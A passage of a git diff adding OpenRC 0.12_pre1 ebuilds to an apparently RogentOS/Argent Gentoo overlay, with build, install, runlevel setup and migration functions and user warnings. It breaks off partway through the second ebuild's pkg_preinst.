+		chmod +x "${EROOT}"etc/local.d/*{start,stop}
+	fi
+
+	if use kernel_linux && [[ "${EROOT}" = "/" ]]; then
+		/$(get_libdir)/rc/sh/migrate-to-run.sh
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${EROOT}" = "/" ]] && "${EROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	if use newnet; then
+		local netscript=network
+	else
+		local netscript=net.lo
+	fi
+
+	if [ ! -e "${EROOT}"etc/runlevels/boot/${netscript} ]; then
+		ewarn "Please add the $netscript script to your boot runlevel"
+		ewarn "as soon as possible. Not doing so could leave you with a system"
+		ewarn "without networking."
+	fi
+
+	ewarn "In this version of OpenRC, the loopback interface no longer"
+	ewarn "satisfies the net virtual."
+	ewarn "If you have services now which do not start because of this,"
+	ewarn "They can be fixed by adding rc_need=\"!net\""
+	ewarn "to the ${EROOT}etc/conf.d/<servicename> file."
+	ewarn "You should also file a bug against the service asking that"
+	ewarn "need net be dropped from the dependencies."
+	ewarn "The bug you file should block the following tracker:"
+	ewarn "https://bugs.gentoo.org/show_bug.cgi?id=439092"
+
+	ewarn "This version of OpenRC doesn't enable nfs mounts automatically any"
+	ewarn "longer. In order to mount nfs file systems, you must use the"
+	ewarn "nfsmount service from the nfs-utils package."
+	ewarn "See bug https://bugs.gentoo.org/show_bug.cgi?id=427996 for"
+	ewarn "more information on this."
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.12_pre1-r2.ebuild b/sys-apps/openrc/openrc-0.12_pre1-r2.ebuild
new file mode 100644
index 00000000..f8cd6271
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.12_pre1-r2.ebuild
@@ -0,0 +1,520 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic multilib pam toolchain-funcs
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+
+if [[ ${PV} == "0.12_pre1" ]]; then
+	EGIT_REPO_URI="git://github.com/OpenRC/openrc.git"
+	EGIT_COMMIT="9f14fd7ae10d8ae724045a57a2eb25c1d4290a3b"
+	inherit git-2
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+else
+	SRC_URI="http://dev.gentoo.org/~williamh/dist/${P}.tar.bz2"
+	KEYWORDS="alpha amd64 arm hppa ia64 m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam newnet prefix selinux static-libs unicode
+	kernel_linux kernel_FreeBSD"
+
+RDEPEND="kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.1-r1
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-init-scripts-17
+	!<sys-fs/udev-133"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "0.12_pre1" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# RogentOS/Argent custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+
+	# Sabayon bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+
+	# Fix pam_systemd + logind support
+	epatch "${FILESDIR}/0001-Filter-the-systemd-cgroup-from-the-current-process.patch"
+
+	# Linux 3.10 and EFI
+	epatch "${FILESDIR}/0001-efivarfs-Support-EFI-variable-access-in-3.10-kernels.patch"
+}
+
+src_compile() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS}
+		LIBNAME=$(get_libdir)
+		LIBEXECDIR=${EPREFIX}/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="RogentOS ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+	use newnet || MAKE_ARGS="${MAKE_ARGS} MKNET=oldnet"
+	use prefix && MAKE_ARGS="${MAKE_ARGS} MKPREFIX=yes PREFIX=${EPREFIX}"
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${ED}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${ED}"/$(get_libdir)/lib{einfo,rc}* "${ED}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	if ! use kernel_linux; then
+		keepdir /$(get_libdir)/rc/init.d
+	fi
+	keepdir /$(get_libdir)/rc/tmp
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${ED}"/etc/runlevels "${ED}"/usr/share/${PN} || die
+	rm -rf "${ED}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${ED}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# RogentOS/Argent customization, do not bug user with annoying updates (for now)
+	mv "${ED}"/etc/conf.d/keymaps "${ED}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${ED}"/etc/conf.d/hwclock "${ED}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e "${ED}"/etc/init.d/${initd} || -e "${EROOT}"etc/init.d/${initd} ]] \
+		|| return
+	[[ -e "${EROOT}"etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d "${EROOT}"etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${EROOT}"etc/runlevels/${runlevel}
+		touch "${EROOT}"etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf "${EROOT}"etc/init.d/${initd} "${EROOT}"etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${EROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${EROOT}"${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file 
+	# RogentOS/Argent customization, still protect conf files from being removed
+	# as no longer owned by package
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}" ]; then
+			cp -p "${conf_file}" "${conf_file}.ebuild_preserved" # don't die
+		fi
+	done
+
+	local f LIBDIR=$(get_libdir)
+
+	# default net script is just comments, so no point in biting people
+	# in the ass by accident.  we save in preinst so that the package
+	# manager doesnt go throwing etc-update crap at us -- postinst is
+	# too late to prevent that.  this behavior also lets us keep the
+	# file in the CONTENTS for binary packages.
+	# Sabayon, use cp -d as per Gentoo bug #462674
+	[[ -e "${EROOT}"etc/conf.d/net ]] && \
+		cp -d "${EROOT}"etc/conf.d/net "${ED}"/etc/conf.d/
+
+	# avoid default thrashing in conf.d files when possible #295406
+	if [[ -e "${EROOT}"etc/conf.d/hostname ]] ; then
+		(
+		unset hostname HOSTNAME
+		source "${EROOT}"etc/conf.d/hostname
+		: ${hostname:=${HOSTNAME}}
+		[[ -n ${hostname} ]] && set_config /etc/conf.d/hostname hostname "${hostname}"
+		)
+	fi
+
+	# upgrade timezone file ... do it before moving clock
+	if [[ -e ${EROOT}etc/conf.d/clock && ! -e ${EROOT}/etc/timezone ]] ; then
+		(
+		unset TIMEZONE
+		source "${EROOT}"etc/conf.d/clock
+		[[ -n ${TIMEZONE} ]] && echo "${TIMEZONE}" > "${EROOT}"etc/timezone
+		)
+	fi
+
+	# /etc/conf.d/clock moved to /etc/conf.d/hwclock
+	local clock
+	use kernel_FreeBSD && clock="adjkerntz" || clock="hwclock"
+	if [[ -e "${EROOT}"etc/conf.d/clock ]] ; then
+		mv "${EROOT}"etc/conf.d/clock "${EROOT}"etc/conf.d/${clock}
+	fi
+	if [[ -e "${EROOT}"etc/init.d/clock ]] ; then
+		rm -f "${EROOT}"etc/init.d/clock
+	fi
+	if [[ -L "${EROOT}"etc/runlevels/boot/clock ]] ; then
+		rm -f "${EROOT}"etc/runlevels/boot/clock
+		ln -snf /etc/init.d/${clock} "${EROOT}"etc/runlevels/boot/${clock}
+	fi
+	if [[ -L "${EROOT}"${LIBDIR}/rc/init.d/started/clock ]] ; then
+		rm -f "${EROOT}"${LIBDIR}/rc/init.d/started/clock
+		ln -snf /etc/init.d/${clok} "${EROOT}"${LIBDIR}/rc/init.d/started/${clock}
+	fi
+
+	# /etc/conf.d/rc is no longer used for configuration
+	if [[ -e "${EROOT}"etc/conf.d/rc ]] ; then
+		elog "/etc/conf.d/rc is no longer used for configuration."
+		elog "Please migrate your settings to /etc/rc.conf as applicable"
+		elog "and delete /etc/conf.d/rc"
+	fi
+
+	# force net init.d scripts into symlinks
+	for f in "${EROOT}"etc/init.d/net.* ; do
+		[[ -e ${f} ]] || continue # catch net.* not matching anything
+		[[ ${f} == */net.lo ]] && continue # real file now
+		[[ ${f} == *.openrc.bak ]] && continue
+		if [[ ! -L ${f} ]] ; then
+			elog "Moved net service '${f##*/}' to '${f##*/}.openrc.bak' to force a symlink."
+			elog "You should delete '${f##*/}.openrc.bak' if you don't need it."
+			mv "${f}" "${f}.openrc.bak"
+			ln -snf net.lo "${f}"
+		fi
+	done
+
+	# termencoding was added in 0.2.1 and needed in boot
+	has_version ">=sys-apps/openrc-0.2.1" || add_boot_init termencoding
+
+	# swapfiles was added in 0.9.9 and needed in boot (february 2012)
+	has_version ">=sys-apps/openrc-0.9.9" || add_boot_init swapfiles
+
+	if ! has_version ">=sys-apps/openrc-0.11"; then
+		add_boot_init sysfs sysinit
+	fi
+
+	# set default interactive shell to sulogin if it exists
+	set_config /etc/rc.conf rc_shell /sbin/sulogin "#" test -e /sbin/sulogin
+
+	has_version sys-apps/openrc || migrate_from_baselayout_1
+	has_version ">=sys-apps/openrc-0.4.0" || migrate_udev_init_script
+	if ! has_version ">=sys-apps/openrc-0.11.3" ; then
+		migrate_udev_mount_script
+		add_boot_init tmpfiles.setup boot
+	fi
+}
+
+# >=openrc-0.4.0 no longer loads the udev addon
+migrate_udev_init_script() {
+	# make sure udev is in sysinit if it was enabled before
+	local enable_udev=false
+	local rc_devices=$(
+		[[ -f /etc/rc.conf ]] && source /etc/rc.conf
+		[[ -f /etc/conf.d/rc ]] && source /etc/conf.d/rc
+		echo "${rc_devices:-${RC_DEVICES:-auto}}"
+	)
+	case ${rc_devices} in
+		udev|auto)
+			enable_udev=true
+			;;
+	esac
+
+	if $enable_udev; then
+		add_boot_init udev sysinit
+		add_boot_init udev-postmount default
+	fi
+}
+
+# >=OpenRC-0.11.3 requires udev-mount to be in the sysinit runlevel with udev.
+migrate_udev_mount_script() {
+	if [ -e "${EROOT}"etc/runlevels/sysinit/udev -a \
+		! -e "${EROOT}"etc/runlevels/sysinit/udev-mount ]; then
+		add_boot_init udev-mount sysinit
+	fi
+	return 0
+}
+
+migrate_from_baselayout_1() {
+	# baselayout boot init scripts have been split out
+	for f in $(cd "${ED}"/usr/share/${PN}/runlevels/boot || exit; echo *) ; do
+		# baselayout-1 is always "old" net, so ignore "new" net
+		[[ ${f} == "network" ]] && continue
+
+		add_boot_init ${f}
+	done
+
+	# Try to auto-add some addons when possible
+	add_boot_init_mit_config /etc/conf.d/cryptfs dmcrypt
+	add_boot_init_mit_config /etc/conf.d/dmcrypt dmcrypt
+	add_boot_init_mit_config /etc/mdadm.conf mdraid
+	add_boot_init_mit_config /etc/evms.conf evms
+	[[ -e "${EROOT}"sbin/dmsetup ]] && add_boot_init device-mapper
+	[[ -e "${EROOT}"sbin/vgscan ]] && add_boot_init lvm
+	elog "Add on services (such as RAID/dmcrypt/LVM/etc...) are now stand alone"
+	elog "init.d scripts.  If you use such a thing, make sure you have the"
+	elog "required init.d scripts added to your boot runlevel."
+
+	# Upgrade our state for baselayout-1 users
+	if [[ ! -e "${EROOT}"${LIBDIR}/rc/init.d/started ]] ; then
+		(
+		[[ -e "${EROOT}"etc/conf.d/rc ]] && source "${EROOT}"/etc/conf.d/rc
+		svcdir=${svcdir:-/var/lib/init.d}
+		if [[ ! -d "${EROOT}"${svcdir}/started ]] ; then
+			ewarn "No state found, and no state exists"
+			elog "You should reboot this host"
+		else
+			mkdir -p "${EROOT}"${LIBDIR}/rc/init.d
+			einfo "Moving state from ${EROOT}${svcdir} to ${EROOT}${LIBDIR}/rc/init.d"
+			mv "${EROOT}${svcdir}"/* "${EROOT}${LIBDIR}"/rc/init.d
+			rm -rf "${EROOT}${LIBDIR}"/rc/init.d/daemons \
+				"${EROOT}${LIBDIR}"/rc/init.d/console
+			umount "${EROOT}${svcdir}" 2>/dev/null
+			rm -rf "${EROOT}${svcdir}"
+		fi
+		)
+	fi
+
+	# Handle the /etc/modules.autoload.d -> /etc/conf.d/modules transition
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		elog "Converting your /etc/modules.autoload.d/ files to /etc/conf.d/modules"
+		rm -f "${EROOT}"etc/modules.autoload.d/.keep*
+		rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+			local f v
+			for f in "${EROOT}"etc/modules.autoload.d/* ; do
+				v=${f##*/}
+				v=${v#kernel-}
+				v=${v//[^[:alnum:]]/_}
+				gawk -v v="${v}" -v f="${f##*/}" '
+				BEGIN { print "\n### START: Auto-converted from " f "\n" }
+				{
+					if ($0 ~ /^[^#]/) {
+						print "modules_" v "=\"${modules_" v "} " $1 "\""
+						gsub(/[^[:alnum:]]/, "_", $1)
+						printf "module_" $1 "_args_" v "=\""
+						for (i = 2; i <= NF; ++i) {
+							if (i > 2)
+								printf " "
+							printf $i
+						}
+						print "\"\n"
+					} else
+						print
+				}
+				END { print "\n### END: Auto-converted from " f "\n" }
+				' "${f}" >> "${ED}"/etc/conf.d/modules
+			done
+				rm -f "${f}"
+			rmdir "${EROOT}"etc/modules.autoload.d 2>/dev/null
+		fi
+	fi
+}
+
+pkg_postinst() {
+	local conf_file
+	# RogentOS/Argent customization, do not bug user with tedious, useless config file updates
+	for conf_file in "${EROOT}/etc/conf.d/keymaps" "${EROOT}/etc/conf.d/hwclock"; do
+		if [ -e "${conf_file}.ebuild_preserved" ]; then
+			cp -p "${conf_file}.ebuild_preserved" "${conf_file}" # don't die
+		elif [ ! -e "${conf_file}" ]; then
+			cp -p "${conf_file}.example" "${conf_file}" # don't die
+		fi
+		chown root:root "${conf_file}" # don't die
+	done
+	local LIBDIR=$(get_libdir)
+
+	# Remove old baselayout links
+	rm -f "${EROOT}"etc/runlevels/boot/{check{fs,root},rmnologin}
+	rm -f "${EROOT}"etc/init.d/{depscan,runscript}.sh
+
+	# Make our runlevels if they don't exist
+	if [[ ! -e "${EROOT}"etc/runlevels ]] || [[ -e "${EROOT}"etc/runlevels/.add_boot_init.created ]] ; then
+		einfo "Copying across default runlevels"
+		cp -RPp "${EROOT}"usr/share/${PN}/runlevels "${EROOT}"etc
+		rm -f "${EROOT}"etc/runlevels/.add_boot_init.created
+	else
+		if [[ ! -e "${EROOT}"etc/runlevels/sysinit/devfs ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/sysinit
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/sysinit/* \
+				"${EROOT}"etc/runlevels/sysinit
+		fi
+		if [[ ! -e "${EROOT}"etc/runlevels/shutdown/mount-ro ]] ; then
+			mkdir -p "${EROOT}"etc/runlevels/shutdown
+			cp -RPp "${EROOT}"usr/share/${PN}/runlevels/shutdown/* \
+				"${EROOT}"etc/runlevels/shutdown
+		fi
+	fi
+
+	# /etc/conf.d/net.example is no longer valid
+	local NET_EXAMPLE="${EROOT}etc/conf.d/net.example"
+	local NET_MD5='8ebebfa07441d39eb54feae0ee4c8210'
+	if [[ -e "${NET_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${NET_EXAMPLE}") == ${NET_MD5}* ]]; then
+			rm -f "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${NET_EXAMPLE}"
+			elog "${NET_EXAMPLE} should be removed."
+		fi
+		elog "The new file is ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	# /etc/conf.d/wireless.example is no longer valid
+	local WIRELESS_EXAMPLE="${EROOT}etc/conf.d/wireless.example"
+	local WIRELESS_MD5='d1fad7da940bf263c76af4d2082124a3'
+	if [[ -e "${WIRELESS_EXAMPLE}" ]] ; then
+		if [[ $(md5sum "${WIRELESS_EXAMPLE}") == ${WIRELESS_MD5}* ]]; then
+			rm -f "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and has been removed."
+		else
+			sed -i '1i# This file is obsolete.\n' "${WIRELESS_EXAMPLE}"
+			elog "${WIRELESS_EXAMPLE} is deprecated and should be removed."
+		fi
+		elog "If you are using the old style network scripts,"
+		elog "Configure wireless settings in ${EROOT}etc/conf.d/net"
+		elog "after reviewing ${EROOT}usr/share/doc/${PF}/net.example"
+	fi
+
+	if [[ -d "${EROOT}"etc/modules.autoload.d ]] ; then
+		ewarn "/etc/modules.autoload.d is no longer used.  Please convert"
+		ewarn "your files to /etc/conf.d/modules and delete the directory."
+	fi
+
+	if use hppa; then
+		elog "Setting the console font does not work on all HPPA consoles."
+		elog "You can still enable it by running:"
+		elog "# rc-update add consolefont boot"
+	fi
+
+	# Handle the conf.d/local.{start,stop} -> local.d transition
+	if path_exists -o "${EROOT}"etc/conf.d/local.{start,stop} ; then
+		elog "Moving your ${EROOT}etc/conf.d/local.{start,stop}"
+		elog "files to ${EROOT}etc/local.d"
+		mv "${EROOT}"etc/conf.d/local.start "${EROOT}"etc/local.d/baselayout1.start
+		mv "${EROOT}"etc/conf.d/local.stop "${EROOT}"etc/local.d/baselayout1.stop
+		chmod +x "${EROOT}"etc/local.d/*{start,stop}
+	fi
+
+	if use kernel_linux && [[ "${EROOT}" = "/" ]]; then
+		/$(get_libdir)/rc/sh/migrate-to-run.sh
+	fi
+
+	# update the dependency tree after touching all files #224171
+	[[ "${EROOT}" = "/" ]] && "${EROOT}/${LIBDIR}"/rc/bin/rc-depend -u
+
+	if use newnet; then
+		local netscript=network
+	else
+		local netscript=net.lo
+	fi
+
+	if [ ! -e "${EROOT}"etc/runlevels/boot/${netscript} ]; then
+		ewarn "Please add the $netscript script to your boot runlevel"
+		ewarn "as soon as possible. Not doing so could leave you with a system"
+		ewarn "without networking."
+	fi
+
+	ewarn "In this version of OpenRC, the loopback interface no longer"
+	ewarn "satisfies the net virtual."
+	ewarn "If you have services now which do not start because of this,"
+	ewarn "They can be fixed by adding rc_need=\"!net\""
+	ewarn "to the ${EROOT}etc/conf.d/<servicename> file."
+	ewarn "You should also file a bug against the service asking that"
+	ewarn "need net be dropped from the dependencies."
+	ewarn "The bug you file should block the following tracker:"
+	ewarn "https://bugs.gentoo.org/show_bug.cgi?id=439092"
+
+	ewarn "This version of OpenRC doesn't enable nfs mounts automatically any"
+	ewarn "longer. In order to mount nfs file systems, you must use the"
+	ewarn "nfsmount service from the nfs-utils package."
+	ewarn "See bug https://bugs.gentoo.org/show_bug.cgi?id=427996 for"
+	ewarn "more information on this."
+
+	elog "You should now update all files in /etc, using etc-update"
+	elog "or equivalent before restarting any services or this host."
+	elog
+	elog "Please read the migration guide available at:"
+	elog "http://www.gentoo.org/doc/en/openrc-migration.xml"
+}
diff --git a/sys-apps/openrc/openrc-0.12_pre1.ebuild b/sys-apps/openrc/openrc-0.12_pre1.ebuild
new file mode 100644
index 00000000..731eb5a2
--- /dev/null
+++ b/sys-apps/openrc/openrc-0.12_pre1.ebuild
@@ -0,0 +1,515 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic multilib pam toolchain-funcs
+
+DESCRIPTION="OpenRC manages the services, startup and shutdown of a host"
+HOMEPAGE="http://www.gentoo.org/proj/en/base/openrc/"
+
+if [[ ${PV} == "0.12_pre1" ]]; then
+	EGIT_REPO_URI="git://github.com/OpenRC/openrc.git"
+	EGIT_COMMIT="9f14fd7ae10d8ae724045a57a2eb25c1d4290a3b"
+	inherit git-2
+	KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+else
+	SRC_URI="http://dev.gentoo.org/~williamh/dist/${P}.tar.bz2"
+	KEYWORDS="alpha amd64 arm hppa ia64 m68k ~mips ppc ppc64 s390 sh sparc x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+fi
+
+LICENSE="BSD-2"
+SLOT="0"
+IUSE="debug elibc_glibc ncurses pam newnet prefix selinux static-libs unicode
+	kernel_linux kernel_FreeBSD"
+
+RDEPEND="virtual/init
+	kernel_FreeBSD? ( || ( >=sys-freebsd/freebsd-ubin-9.0_rc sys-process/fuser-bsd ) )
+	elibc_glibc? ( >=sys-libs/glibc-2.5 )
+	ncurses? ( sys-libs/ncurses )
+	pam? ( sys-auth/pambase )
+	>=sys-apps/baselayout-2.1-r1
+	kernel_linux? (
+		sys-process/psmisc
+	)
+	!<sys-fs/udev-init-scripts-17
+	!<sys-fs/udev-133"
+DEPEND="${RDEPEND}
+	virtual/os-headers"
+
+src_prepare() {
+	sed -i 's:0444:0644:' mk/sys.mk || die
+	sed -i "/^DIR/s:/openrc:/${PF}:" doc/Makefile || die #241342
+
+	if [[ ${PV} == "0.12_pre1" ]] ; then
+		local ver="git-${EGIT_VERSION:0:6}"
+		sed -i "/^GITVER[[:space:]]*=/s:=.*:=${ver}:" mk/git.mk || die
+	fi
+
+	# Allow user patches to be applied without modifying the ebuild
+	epatch_user
+
+	# RogentOS custom config
+	epatch "${FILESDIR}/${PN}-sabayon-config-2.patch"
+	epatch "${FILESDIR}"/${PN}-0.5.3-disable_warns_until_migrated.patch
+	epatch "${FILESDIR}/${PN}-netmount-fix.patch"
+	epatch "${FILESDIR}/${PN}-0.6.1-fix-clockskew-error-handling.patch"
+
+	# RogentOS bug fixes
+	epatch "${FILESDIR}/${PN}-0.9.9.3-do-not-print-error-if-tmplog-cannot-be-read.patch"
+}
+
+src_compile() {
+	unset LIBDIR #266688
+
+	MAKE_ARGS="${MAKE_ARGS}
+		LIBNAME=$(get_libdir)
+		LIBEXECDIR=${EPREFIX}/$(get_libdir)/rc"
+
+	local brand="Unknown"
+	if use kernel_linux ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=Linux"
+		brand="Linux"
+	elif use kernel_FreeBSD ; then
+		MAKE_ARGS="${MAKE_ARGS} OS=FreeBSD"
+		brand="FreeBSD"
+	fi
+	if use selinux; then
+			MAKE_ARGS="${MAKE_ARGS} MKSELINUX=yes"
+	fi
+	export BRANDING="RogentOS ${brand}"
+	if ! use static-libs; then
+			MAKE_ARGS="${MAKE_ARGS} MKSTATICLIBS=no"
+	fi
+	use newnet || MAKE_ARGS="${MAKE_ARGS} MKNET=oldnet"
+	use prefix && MAKE_ARGS="${MAKE_ARGS} MKPREFIX=yes PREFIX=${EPREFIX}"
+	export DEBUG=$(usev debug)
+	export MKPAM=$(usev pam)
+	export MKTERMCAP=$(usev ncurses)
+
+	tc-export CC AR RANLIB
+	emake ${MAKE_ARGS}
+}
+
+# set_config <file> <option name> <yes value> <no value> test
+# a value of "#" will just comment out the option
+set_config() {
+	local file="${ED}/$1" var=$2 val com
+	eval "${@:5}" && val=$3 || val=$4
+	[[ ${val} == "#" ]] && com="#" && val='\2'
+	sed -i -r -e "/^#?${var}=/{s:=([\"'])?([^ ]*)\1?:=\1${val}\1:;s:^#?:${com}:}" "${file}"
+}
+
+set_config_yes_no() {
+	set_config "$1" "$2" YES NO "${@:3}"
+}
+
+src_install() {
+	emake ${MAKE_ARGS} DESTDIR="${D}" install
+
+	# move the shared libs back to /usr so ldscript can install
+	# more of a minimal set of files
+	# disabled for now due to #270646
+	#mv "${ED}"/$(get_libdir)/lib{einfo,rc}* "${ED}"/usr/$(get_libdir)/ || die
+	#gen_usr_ldscript -a einfo rc
+	gen_usr_ldscript libeinfo.so
+	gen_usr_ldscript librc.so
+
+	if ! use kernel_linux; then
+		keepdir /$(get_libdir)/rc/init.d
+	fi
+	keepdir /$(get_libdir)/rc/tmp
+
+	# Backup our default runlevels
+	dodir /usr/share/"${PN}"
+	cp -PR "${ED}"/etc/runlevels "${ED}"/usr/share/${PN} || die
+	rm -rf "${ED}"/etc/runlevels
+
+	# Install the default net configuration
+	doconfd conf.d/net
+
+	# Setup unicode defaults for silly unicode users
+	set_config_yes_no /etc/rc.conf unicode use unicode
+
+	# Cater to the norm
+	set_config_yes_no /etc/conf.d/keymaps windowkeys '(' use x86 '||' use amd64 ')'
+
+	# On HPPA, do not run consolefont by default (bug #222889)
+	if use hppa; then
+		rm -f "${ED}"/usr/share/openrc/runlevels/boot/consolefont
+	fi
+
+	# Support for logfile rotation
+	insinto /etc/logrotate.d
+	newins "${FILESDIR}"/openrc.logrotate openrc
+
+	# RogentOS customization, do not bug user with annoying updates (for now)
+	mv "${ED}"/etc/conf.d/keymaps "${ED}"/etc/conf.d/keymaps.example || \
+		die "cannot move keymaps"
+	mv "${ED}"/etc/conf.d/hwclock "${ED}"/etc/conf.d/hwclock.example || \
+		die "cannot move hwclock"
+
+	# install the gentoo pam.d file
+	newpamd "${FILESDIR}"/start-stop-daemon.pam start-stop-daemon
+}
+
+add_boot_init() {
+	local initd=$1
+	local runlevel=${2:-boot}
+	# if the initscript is not going to be installed and is not
+	# currently installed, return
+	[[ -e "${ED}"/etc/init.d/${initd} || -e "${EROOT}"etc/init.d/${initd} ]] \
+		|| return
+	[[ -e "${EROOT}"etc/runlevels/${runlevel}/${initd} ]] && return
+
+	# if runlevels dont exist just yet, then create it but still flag
+	# to pkg_postinst that it needs real setup #277323
+	if [[ ! -d "${EROOT}"etc/runlevels/${runlevel} ]] ; then
+		mkdir -p "${EROOT}"etc/runlevels/${runlevel}
+		touch "${EROOT}"etc/runlevels/.add_boot_init.created
+	fi
+
+	elog "Auto-adding '${initd}' service to your ${runlevel} runlevel"
+	ln -snf "${EROOT}"etc/init.d/${initd} "${EROOT}"etc/runlevels/${runlevel}/${initd}
+}
+add_boot_init_mit_config() {
+	local config=$1 initd=$2
+	if [[ -e ${EROOT}${config} ]] ; then
+		if [[ -n $(sed -e 's:#.*::' -e '/^[[:space:]]*$/d' "${EROOT}"${config}) ]] ; then
+			add_boot_init ${initd}
+		fi
+	fi
+}
+
+pkg_preinst() {
+	local conf_file
